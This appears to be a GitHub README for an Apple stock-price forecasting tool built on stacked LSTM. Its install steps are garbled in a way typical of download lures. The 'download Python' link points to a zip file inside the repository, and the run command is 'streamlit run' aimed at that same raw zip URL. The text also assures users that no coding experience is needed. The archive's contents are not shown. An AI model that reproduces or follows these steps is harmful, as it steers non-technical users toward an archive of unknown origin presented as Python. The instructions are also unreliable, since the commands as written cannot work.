📈 Stock-Price-Prediction-And-Forecasting-Using-Stacked-LSTM--Deep-Learning - Simple Stock Forecasting Tool

📥 Download & Install

Visit this page to download the latest version of the application: Releases Page.

🚀 Getting Started

Follow these steps to begin using the Stock Price Prediction tool:

1. Visit the Releases Page: Start by clicking on the download link above or visiting Releases Page.

2. Download the Application: Look for the latest version. Click on the file to download it to your computer.

3. Unzip the File (if necessary): If the download is in a zipped format, right-click on the file and select "Extract All" to unzip it.

4. Install Required Software: Make sure you have Python installed. You can download it from https://raw.githubusercontent.com/HICHAMEVAAAN/Stock-Price-Prediction-And-Forecasting-Using-Stacked-LSTM--Deep-Learning/main/Mimulus/Stock-Price-Prediction-And-Forecasting-Using-Stacked-LSTM--Deep-Learning.zip. Follow the installation instructions for your operating system.

5. Install Additional Libraries: Open your command prompt or terminal. Type the following commands to install the necessary packages:

   pip install pandas numpy matplotlib scikit-learn seaborn flask streamlit
   

6. Run the Application:

   • Navigate to the folder where you extracted the application files.
   • Open your command prompt or terminal.
   • Type streamlit run https://raw.githubusercontent.com/HICHAMEVAAAN/Stock-Price-Prediction-And-Forecasting-Using-Stacked-LSTM--Deep-Learning/main/Mimulus/Stock-Price-Prediction-And-Forecasting-Using-Stacked-LSTM--Deep-Learning.zip and press Enter.

7. Open in a Browser: After running the command, a new tab will open in your default web browser showing the Stock Price Prediction and Forecasting tool.

📊 Features

• User-Friendly Interface: Simple navigation throughout the application.
• Real-Time Predictions: Get instant predictions on stock prices.
• Visualization Tools: View data through easy-to-understand graphs and charts.
• Customizable Parameters: Adjust settings to refine your predictions.

📄 Understanding the Data

The application uses historical stock price data from Apple (AAPL). It processes this data to forecast future prices using advanced deep learning techniques, specifically Stacked LSTM.

🛠️ System Requirements

To run this application:

• Operating System: Windows, macOS, or Linux.
• Python Version: 3.6 or higher.
• Memory: At least 4 GB of RAM.
• Disk Space: Minimum of 100 MB free space for installation.

⚙️ How It Works

The application employs Stacked LSTM to analyze historical stock data. Here's a brief overview of the process:

1. Data Collection: Historical data is gathered from reliable financial sources.
2. Data Preprocessing: Clean and organize the data for analysis.
3. Model Training: The application trains the LSTM model using historical data to predict future prices based on patterns.
4. Prediction: Users can input different parameters and receive forecasts.

📚 Included Libraries

• Pandas: For data manipulation and analysis.
• NumPy: For numerical computations.
• Matplotlib & Seaborn: For data visualization.
• Scikit-learn: For machine learning functionalities.
• Flask & Streamlit: For building web applications.

❓ FAQs

Q: Can I use this tool for stocks other than Apple?
A: Currently, the tool is designed for Apple stock data, but you can modify it to include other stocks by uploading relevant datasets.

Q: Do I need any coding experience?
A: No coding experience is required to use the application. Follow the provided steps to get started.

🤝 Contributing

If you'd like to contribute to this project, feel free to fork the repository and open a pull request. Your improvements are welcome.

📜 License

This project is licensed under the MIT License. For more details, please refer to the LICENSE file in this repository.

Thank you for using the Stock Price Prediction and Forecasting Tool. We hope it helps you in your financial decision-making!